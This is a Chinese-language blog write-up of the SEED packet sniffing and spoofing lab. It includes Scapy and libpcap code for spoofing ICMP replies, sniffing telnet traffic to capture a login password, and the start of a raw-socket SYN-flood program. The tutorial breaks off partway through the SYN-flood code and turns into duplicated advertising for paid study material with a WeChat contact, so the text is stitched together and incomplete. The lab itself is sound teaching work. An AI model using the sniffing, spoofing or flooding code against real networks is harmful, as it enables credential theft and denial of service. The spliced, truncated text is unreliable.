SeedLab——Packet Sniffing and Spoofing Lab_seed labs – packet sniffing and spoofing lab

以下是一些常见的BPF语法示例:

  1. 捕获特定源IP地址的数据包:
  • src host 10.9.0.1:捕获源IP地址为10.9.0.1的数据包。
  1. 捕获特定目的IP地址的数据包:
  • dst host 10.9.0.6:捕获目的IP地址为10.9.0.6的数据包。
  1. 捕获特定协议类型的数据包:
  • icmp:捕获ICMP协议的数据包。
  • tcp:捕获TCP协议的数据包。
  • udp:捕获UDP协议的数据包。
  1. 捕获特定端口号的数据包:
  • tcp dst port 80:捕获目的端口号为80的TCP数据包。
  • udp src port 53:捕获源端口号为53的UDP数据包。
  1. 使用逻辑运算符and和or组合多个条件:
  • src host 10.9.0.1 and tcp dst port 80:捕获源IP地址为10.9.0.1且目的端口号为80的数据包。
  • src host 10.9.0.1 or dst host 10.9.0.6:捕获源IP地址为10.9.0.1或目的IP地址为10.9.0.6的数据包。
Task 1.2: Spoofing ICMP Packets

编写下面的代码,自己构造一个ICMP数据包。代码中创建了一个IP数据包和一个ICMP数据包,并将它们组合在一起形成一个完整的数据包。然后使用show()方法显示数据包的详细信息,并使用send()方法发送数据包。

#!/usr/bin/env python3
from scapy.all import *

ip_packet = IP()
ip_packet.dst = ‘10.0.2.3’
icmp_packet = ICMP()
pakcet = ip_packet/icmp_packet
pakcet.show()
send(pakcet)

然后使用tcpdump监听发送ICMP数据包的网络接口

sudo tcpdump -i enp0s3 host 10.0.2.15 and icmp

运行上面的示例代码,构造的数据包如下。源IP地址为10.0.2.15,目的IP地址为10.0.2.3,ICMP数据包的类型是echo-request,代表一个ICMP回显请求(Ping请求)。

###[ IP ]###
version = 4
ihl = None
tos = 0x0
len = None
id = 1
flags =
frag = 0
ttl = 64
proto = icmp
chksum = None
src = 10.0.2.15
dst = 10.0.2.3
options
###[ ICMP ]###
type = echo-request
code = 0
chksum = None
id = 0x0
seq = 0x0

可知在抓包期间,从主机发送了一个ICMP回显请求到10.0.2.3主机,然后10.0.2.3主机回复了一个ICMP回显回复。

image-20231120144306315

Task 1.3: Traceroute

traceroute是一种网络诊断工具,用于确定数据包从源主机到目标主机的路径。它通过发送一系列的数据包,并观察每个数据包经过的路由器,从而揭示了数据包在网络中的传输路径。

traceroute的工作原理如下:

  1. 源主机发送第一个数据包到目标主机,并将其生存时间(TTL)字段设置为1。这个数据包到达第一个路由器后,由于TTL的限制,该路由器会将其丢弃,并向源主机发送一个ICMP "Time Exceeded"错误消息。
  2. 源主机接收到ICMP错误消息后,记录下第一个路由器的IP地址。这样就确定了路径中的第一个跳。
  3. 源主机增加TTL字段的值,将第二个数据包发送到目标主机。这个数据包到达第二个路由器后,同样由于TTL的限制,该路由器会将其丢弃,并向源主机发送一个ICMP Time Exceeded错误消息。
  4. 源主机接收到第二个ICMP错误消息后,记录下第二个路由器的IP地址。这样就确定了路径中的第二个跳。
  5. 源主机不断增加TTL字段的值,重复上述过程,直到数据包到达目标主机。每经过一个路由器,就记录下该路由器的IP地址。
  6. 当数据包到达目标主机后,目标主机会向源主机发送一个ICMP Echo Reply消息,表示数据包已成功到达。

通过重复上述过程,traceroute就能够逐步确定数据包经过的路由器,并测量每个跳的往返时间(RTT)。通过分析这些信息,可以获得从源主机到目标主机的完整路径以及每个跳的延迟。

我们可以使用scapy编写一个简单的traceroute程序,如下所示。我们构造TTL从1到MAX_HOPS的ICMP报文,并使用sr1发送数据包并获取回复,response.type是用于访问ICMP回复数据包的类型字段,以下是一些常见的ICMP回复数据包类型字段及其释义:

  1. 类型字段为0 - 回显应答(Echo Reply):
  • 回显应答是对回显请求的响应,通常用于实现Ping功能。它表示目标主机或路由器收到了回显请求,并返回了回显应答。
  1. 类型字段为3 - 目的地不可达(Destination Unreachable):
  • 目的地不可达回复指示目标主机或路由器无法到达目的地。它可能发生在目标主机不可达、端口不可达、协议不可达、分片需要进行重组等情况下。
  1. 类型字段为4 - 源抑制(Source Quench):
  • 源抑制消息是一种流量控制机制,用于告知源主机减慢数据发送速率。它通常在网络拥塞时发送给源主机,以减轻网络负载。
  1. 类型字段为5 - 重定向(Redirect):
  • 重定向消息用于通知主机或路由器,存在更佳的路径来发送数据包。它指示发送方将流量发送到新的下一跳路由器。
  1. 类型字段为11 - 超时(Time Exceeded):
  • 超时消息指示数据包在传输过程中经过的中间路由器的生存时间已耗尽。它可能是由于数据包在网络中循环、路由环路或者超过了最大生存时间等原因。

因此当response.type == 0说明数据包到达了目的地,否则说明为中间路由器的响应,如果response为空则说明未收到数据包。

#!/usr/bin/env python3
from scapy.all import *
import sys

def traceroute(dst_ip, max_hops):
ttl = 1
while ttl <= max_hops:

构造ip报文

ip_packet = IP()
ip_packet.dst = dst_ip
ip_packet.ttl = ttl

icmp报文

icmp_packet = ICMP()
pakcet = ip_packet/icmp_packet

发送数据包

response = sr1(pakcet, verbose=False, timeout=1)
if response is None:

未收到回复,打印超时信息

print(f"{ttl}. * * *")
elif response.type == 0:

收到目标主机的回复,打印信息并退出循环

print(f"{ttl}. {response.src}")
break
else:

收到中间路由器的回复,打印信息

print(f"{ttl}. {response.src}")

增加ttl

ttl += 1

获取命令行参数

dst_ip = sys.argv[1]
max_hops = int(sys.argv[2])
traceroute(dst_ip, max_hops)

运行这段代码,设置目的地址为43.138.70.209,MAX_HOPS为30。

sudo python3 trace.py 43.138.70.209 30

结果如下所示,经过15跳后到达目的地址。

  1. 10.0.2.2


  2. 202.115.39.197
  3. 202.115.39.205


  4. 202.115.255.214

  5. 101.4.112.17

  6. 219.224.103.65
  7. 101.4.130.106

  8. 43.138.70.209
Task 1.4: Sniffing and-then Spoofing

要求我们编写一个程序,嗅探局域网中的所有ICMP回显请求(不论目标主机是不是我们本身),然后对发送ICMP回显的主机发送一个ICMP回显回复进行ICMP欺骗。

首先测试ping以下三个地址,前两个无法ping通,最后一个可以ping通。

image-20231120153855279

编写下面的程序并运行

!/usr/bin/env python3

from scapy.all import *

欺骗

def spoof_icmp_echo(packet):

构造IP数据包

ip_packet = IP()
ip_packet.src=packet[IP].dst
ip_packet.dst=packet[IP].src

icmp_packet = ICMP()
icmp_packet.type=‘echo-reply’
icmp_packet.id=packet[ICMP].id
icmp_packet.seq=packet[ICMP].seq

eth_packet = Ether()
eth_packet.src=packet[‘Ethernet’].dst
eth_packet.dst=packet[‘Ethernet’].src

packet = ip_packet / icmp_packet / eth_packet

print(“ICMP Echo spoofing send from {} to {}”.format(ip_packet.src, ip_packet.dst))
send(packet)

开始嗅探局域网中的数据包

sniff(filter = ‘icmp[icmptype]=icmp-echo’, prn = spoof_icmp_echo)

当ping其他主机时,结果如下所示。ttl=64的数据包为我们伪造的数据包,显示truncated表示输出被截断。(DUP!)的出现表示某些ICMP回显请求数据包被重复接收了多次。

image-20231120203619547

Lab Task Set 2: Writing Programs to Sniff and Spoof Packets

Task 2.1: Writing Packet Sniffing Program

使用pcap库进行网络嗅探。回调函数got_packet,用于处理捕获到的数据包。在main函数中,打开了一个网络接口的pcap会话,指定了接口名为enp0s3。编译了一个BPF过滤器,只捕获协议类型为ICMP的IP数据包。

#include <pcap.h>
#include <stdio.h>
#include <arpa/inet.h>

/* Ethernet header */
struct ethheader {
u_char ether_dhost[6]; /* destination host address */
u_char ether_shost[6]; /* source host address */
u_short ether_type; /* protocol type (IP, ARP, RARP, etc) */
};

/* IP Header */
struct ipheader {
unsigned char iph_ihl:4, //IP header length
iph_ver:4; //IP version
unsigned char iph_tos; //Type of service
unsigned short int iph_len; //IP Packet length (data + header)
unsigned short int iph_ident; //Identification
unsigned short int iph_flag:3, //Fragmentation flags
iph_offset:13; //Flags offset
unsigned char iph_ttl; //Time to Live
unsigned char iph_protocol; //Protocol type
unsigned short int iph_chksum; //IP datagram checksum
struct in_addr iph_sourceip; //Source IP address
struct in_addr iph_destip; //Destination IP address
};

void got_packet(u_char *args, const struct pcap_pkthdr *header,
const u_char *packet)
{
struct ethheader *eth = (struct ethheader *)packet;

if (ntohs(eth->ether_type) == 0x0800) { // 0x0800 is IP type
struct ipheader * ip = (struct ipheader *)
(packet + sizeof(struct ethheader));

printf(" From: %sn", inet_ntoa(ip->iph_sourceip));
printf(" To: %sn", inet_ntoa(ip->iph_destip));

/* determine protocol */
switch(ip->iph_protocol) {
case IPPROTO_TCP:
printf(" Protocol: TCPnn");
return;
case IPPROTO_UDP:
printf(" Protocol: UDPnn");
return;
case IPPROTO_ICMP:
printf(" Protocol: ICMPnn");
return;
default:
printf(" Protocol: othersnn");
return;
}
}
}

int main()
{
pcap_t *handle;
char errbuf[PCAP_ERRBUF_SIZE];
struct bpf_program fp;
// BPF过滤规则
char filter_exp[] = “ip proto icmp”;
bpf_u_int32 net;

// Step 1: Open live pcap session on NIC with name enp0s3
handle = pcap_open_live(“enp0s3”, BUFSIZ, 1, 1000, errbuf);
printf(“listening on network card, ret: %p…n”, handle);

// Step 2: Compile filter_exp into BPF psuedo-code
printf(“try to compile filter…n”);
pcap_compile(handle, &fp, filter_exp, 0, net);
printf(“try to set filter…n”);
pcap_setfilter(handle, &fp);

// Step 3: Capture packets
printf(“start to sniff…n”);
pcap_loop(handle, -1, got_packet, NULL);

pcap_close(handle); //Close the handle
return 0;
}

编译运行结果如下

image-20231120205603640

Task 2.1A: Understanding How a Sniffer Works
Q A
  1. pcap_lookupdev():查找可用的网络接口。(可选)
  2. pcap_open_live():打开选择的网络接口以进行数据包捕获。
  3. pcap_compile():编译BPF(Berkeley Packet Filter)过滤器,用于选择特定类型的数据包。
  4. pcap_setfilter():设置捕获过滤器,以便仅捕获满足特定条件的数据包。
  5. pcap_loop():开始捕获数据包的循环。
  6. 在循环中,对每个捕获到的数据包,使用自定义的回调函数进行处理。
  7. pcap_close():关闭捕获会话,释放资源。

创建捕获数据包的句柄。这个句柄包含了与捕获会话相关的信息和状态,如网络接口、捕获过滤器等。

struct bpf_program用于表示编译后的BPF(Berkeley Packet Filter)过滤器程序。BPF过滤器是一种用于选择特定类型的数据包的过滤器,可以用于在数据包捕获过程中进行数据包过滤。

pcap_t *handle;
char errbuf[PCAP_ERRBUF_SIZE];
struct bpf_program fp;
// BPF过滤规则
char filter_exp[] = “ip proto icmp”;

打开一个网络接口并返回一个捕获会话的句柄,将其赋值给handle

// Step 1: Open live pcap session on NIC with name enp0s3
handle = pcap_open_live(“enp0s3”, BUFSIZ, 1, 1000, errbuf);
printf(“listening on network card, ret: %p…n”, handle);
/*
这个函数的参数解释如下:

1、“enp0s3”:要打开的网络接口的名称。这里使用了"enp0s3"作为示例接口名称,您可以根据实际情况替换为所需的网络接口名称。

2、BUFSIZ:捕获数据包时使用的缓冲区大小。BUFSIZ是一个预定义的常量,表示缓冲区的大小。

3、1:指定是否设置混杂模式。这里的1表示启用混杂模式,即在捕获数据包时,会接收到经过网络接口的所有数据包。

4、1000:设置超时值,指定在捕获数据包时等待的最长时间(以毫秒为单位)。

5、errbuf:用于存储错误消息的缓冲区。如果在打开网络接口时发生错误,错误消息将被写入到errbuf中。
*/

使用pcap_compile编译过滤器表达式filter_exphandle是之前打开的捕获会话句柄,&fp是指向struct bpf_program的指针,用于存储编译后的过滤器程序。filter_exp是一个字符串,表示要应用于数据包捕获的过滤条件。0表示不使用优化选项,net是一个网络地址,用于确定过滤器表达式中的网络地址。pcap_setfilter(handle, &fp)将编译后的过滤器程序fp应用于捕获会话。

// Step 2: Compile filter_exp into BPF psuedo-code
printf(“try to compile filter…n”);
pcap_compile(handle, &fp, filter_exp, 0, net);
printf(“try to set filter…n”);
pcap_setfilter(handle, &fp);

使用pcap_loop开始捕获,got_packet是自定义的回调函数。-1表示捕获无限数量的数据包,也可以指定一个正整数来限制捕获的数据包数量。

pcap_close用于关闭捕获会话句柄,释放资源。

// Step 3: Capture packets
printf(“start to sniff…n”);
pcap_loop(handle, -1, got_packet, NULL);

pcap_close(handle); //Close the handle

Q B

嗅探器程序需要root权限来访问和捕获网络数据包。这是因为网络接口通常是受保护的资源,只有特权用户才能直接访问它们。

下面三个操作都需要root权限

  1. 打开网络接口:嗅探器程序在开始捕获数据包之前需要打开选择的网络接口。如果没有足够的权限来打开网络接口,程序将无法继续执行。
  2. 设置捕获过滤器:嗅探器通常会使用过滤器来选择特定类型的数据包进行捕获。在设置过滤器时,需要特权权限才能成功操作。如果没有足够的权限,程序将无法设置过滤器,导致无法准确捕获所需的数据包。
  3. 捕获数据包:嗅探器程序在捕获数据包时需要访问网络接口和相关底层资源。如果没有足够的权限来访问这些资源,捕获数据包的操作将失败。
Q C

混杂模式允许网络接口在捕获数据包时接收经过该接口的所有数据包,而不仅仅是目标地址是本机的数据包。一般计算机网卡都工作在非混杂模式下,此时网卡只接受来自网络端口的目的地址指向自己的数据。当网卡工作在混杂模式下时,网卡将来自接口的所有数据都捕获并交给相应的驱动程序。

Task 2.1B: Writing Filters

关于BPF的常用编写规则在Task 1.1B已经说过了

1、只捕获两个特定主机之间的ICMP包

假设捕获主机与默认网关10.0.2.2之间的ICMP报文

(icmp and src host 10.0.2.15 and dst host 10.0.2.2) or
(icmp and src host 10.0.2.2 and dst host 10.0.2.15)

image-20231120214349463

2、捕捉目的端口在10到100之间的TCP包

使用tcp协议和dst端口范围10-100的BPF过滤表达式如下:

tcp and dst portrange 10-100

image-20231120215345189

Task 2.1C: Sniffing Passwords

Telnet协议采用明文传输,没有数据加密功能,所以会产生安全隐患:

  • Telnet传输的命令和数据都是明文,可以被任何中间人轻松拦截和审查。
  • 用户名、密码和交互内容均不加密,可被截取使用。
  • 没有身份验证机制,任何人都可以假冒其他用户登入。
  • 数据在传输过程中可被篡改,无法完整校验。

拓扑结构

image-20231120094747029

进入一个docker创建的虚拟host——10.9.0.5

seed@VM:~$ dockps
0cd29ef744b0 seed-attacker
e98890475512 hostB-10.9.0.6
1898eb81c8e4 hostA-10.9.0.5

seed@VM:~$ docker exec -it 1898eb81c8e4 bin/bash
root@1898eb81c8e4:/#

然后编写下面的代码,运行在IP地址为10.9.0.1的网络接口上,监听目的端口为23的TCP报文(telnet使用23端口)

#!/usr/bin/python3
from scapy.all import *

def print_pkt(pkt):
if Raw in pkt:
print(pkt[Raw])

sniff(iface=‘br-0d32c54e0d4e’, filter=“tcp port 23”, prn=print_pkt)

然后在docker容器中尝试远程登陆另一台主机10.9.0.6

image-20231120223025114

观察嗅探程序的结果,在10.9.0.1上运行的嗅探程序嗅探到了10.9.0.5的登录到10.9.0.6的数据报文,获得了登陆密码。

image-20231120222918626

Task 2.2: Spoofing

原始套接字(RAW SOCKET)允许应用程序直接访问网络协议栈(Protocol Stack)的底层功能,包括网络层(IP)、传输层(TCP、UDP)和其他协议。

通常情况下,应用程序使用高级套接字(如TCP套接字或UDP套接字)进行网络通信,这些套接字封装了底层的网络协议细节,提供了简化的接口供应用程序使用。然而,使用原始套接字,应用程序可以绕过这些封装,直接访问和操作网络协议栈中的原始数据。

img

IP报文的格式

0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±+
|Version| IHL |Type of Service| Total Length |
±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±+
| Identification |Flags| Fragment Offset |
±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±+
| Time to Live | Protocol | Header Checksum |
±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±+
| Source IP Address |
±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±+
| Destination IP Address |
±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±+
| Options | Padding |
±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±+

TCP报文的格式

0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±+
| Source Port | Destination Port |
±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±+
| Sequence Number |
±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±+
| Acknowledgment Number |
±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±+
| Data | |U|A|P|R|S|F| |W|R|C|
| Offset| Res |R|C|S|S|Y|I| Window |E|C|R|
| | |G|K|H|T|N|N| |C|E|E|
±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±+
| Checksum | Urgent Pointer |
±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±+
| Options | Padding |
±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±+

Task 2.2A: Write a spoofing program

可以使用原始套接字来实现伪造IP报文实现一个SYN-Flood攻击的程序。

在TCP三次握手过程中,客户端向服务器发送一个SYN(同步)包,服务器接收到后会返回一个SYN-ACK(同步-确认)包给客户端,然后等待客户端的确认(ACK)。攻击者使用伪造的源IP地址,向目标服务器发送大量的SYN包,但是不发送ACK包来完成三次握手。这些SYN包看起来像是来自合法的客户端,但实际上是攻击者伪造的。由于攻击者不发送ACK,这些半开放连接会一直保持在服务器上等待,消耗服务器的资源,造成DoS攻击。

头文件

定义TCP报头结构和伪报头结构。TCP伪报头(TCP Pseudo Header)是在进行TCP校验和计算时使用的辅助数据结构。它不是TCP报文段的一部分,而是用于计算校验和的数据。

#include <stdio.h>
#include <ctype.h>
#include <bits/types.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <string.h>
#include <netdb.h>
#include <errno.h>
#include <stdlib.h>
#include <time.h>
#include <arpa/inet.h>
#include <netinet/ip.h>

struct tcphdr
{
unsigned short sport; // 源端口
unsigned short dport; // 目标端口
unsigned int seq; // 序列号
unsigned int ack_seq; // 确认号
unsigned char len; // 首部长度
unsigned char flag; // 标志位
unsigned short win; // 窗口大小
unsigned short checksum; // 校验和
unsigned short urg; // 紧急指针
};

/**
* TCP伪头部包含了一些必要的信息,用于计算TCP校验和。
* 它通常由源IP地址、目的IP地址、保留字段、协议类型(TCP)和数据长度组成。
*/
struct pseudohdr
{
unsigned int saddr;
unsigned int daddr;
char zeros;
char protocol;
unsigned short length;
};

校验和计算

校验和计算的代码如下。将缓冲区中的每个16位字累加到checksum变量中,直到size变为1或0。然后,如果size不为0,说明还剩下一个字节没有累加到校验和中,将其加入checksum中。

接下来,如果checksum发生溢出(即高16位不为零),就将高16位和低16位相加,再加上高16位。这是为了确保校验和在溢出时仍然正确。

最后,将checksum取反并返回。

// 计算校验和
unsigned short
checksum(unsigned short *buffer, unsigned short size)
{
unsigned long checksum = 0;
// 先将缓冲区中的每个16位字累加到 cksum 变量中,直到 size 变为1或0
while (size > 1)
{
checksum += *buffer++;
size -= sizeof(unsigned short);
}
// 如果 size 不为0,说明还剩下一个字节没有累加到校验和中,
if (size)
{
checksum += *(unsigned char *)buffer;
}
// 如果有溢出
while (checksum >> 16)
{
// 则将高16位与低16位相加
checksum = (checksum >> 16) + (checksum & 0xffff);
// 如果高16位非零,再加高16位
checksum += (checksum >> 16);
}

// 取反
return (unsigned short)(~checksum);
}

初始化报头

IP报头的初始化。设置版本、ihl、服务类型等等字段。

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新

如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
img

写在最后

在结束之际,我想重申的是,学习并非如攀登险峻高峰,而是如滴水穿石般的持久累积。尤其当我们步入工作岗位之后,持之以恒的学习变得愈发不易,如同在茫茫大海中独自划舟,稍有松懈便可能被巨浪吞噬。然而,对于我们程序员而言,学习是生存之本,是我们在激烈市场竞争中立于不败之地的关键。一旦停止学习,我们便如同逆水行舟,不进则退,终将被时代的洪流所淘汰。因此,不断汲取新知识,不仅是对自己的提升,更是对自己的一份珍贵投资。让我们不断磨砺自己,与时代共同进步,书写属于我们的辉煌篇章。

需要完整版PDF学习资源私我

一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
img

img-joexc0bd-1712546280848)]
[外链图片转存中…(img-QX6Nmh77-1712546280848)]
[外链图片转存中…(img-52Ct3e7C-1712546280848)]

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新

如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
[外链图片转存中…(img-Y0IeI9IA-1712546280849)]

写在最后

在结束之际,我想重申的是,学习并非如攀登险峻高峰,而是如滴水穿石般的持久累积。尤其当我们步入工作岗位之后,持之以恒的学习变得愈发不易,如同在茫茫大海中独自划舟,稍有松懈便可能被巨浪吞噬。然而,对于我们程序员而言,学习是生存之本,是我们在激烈市场竞争中立于不败之地的关键。一旦停止学习,我们便如同逆水行舟,不进则退,终将被时代的洪流所淘汰。因此,不断汲取新知识,不仅是对自己的提升,更是对自己的一份珍贵投资。让我们不断磨砺自己,与时代共同进步,书写属于我们的辉煌篇章。

需要完整版PDF学习资源私我

一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
[外链图片转存中…(img-1GIHDPCY-1712546280849)]

  • 8
    点赞
  • 28
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值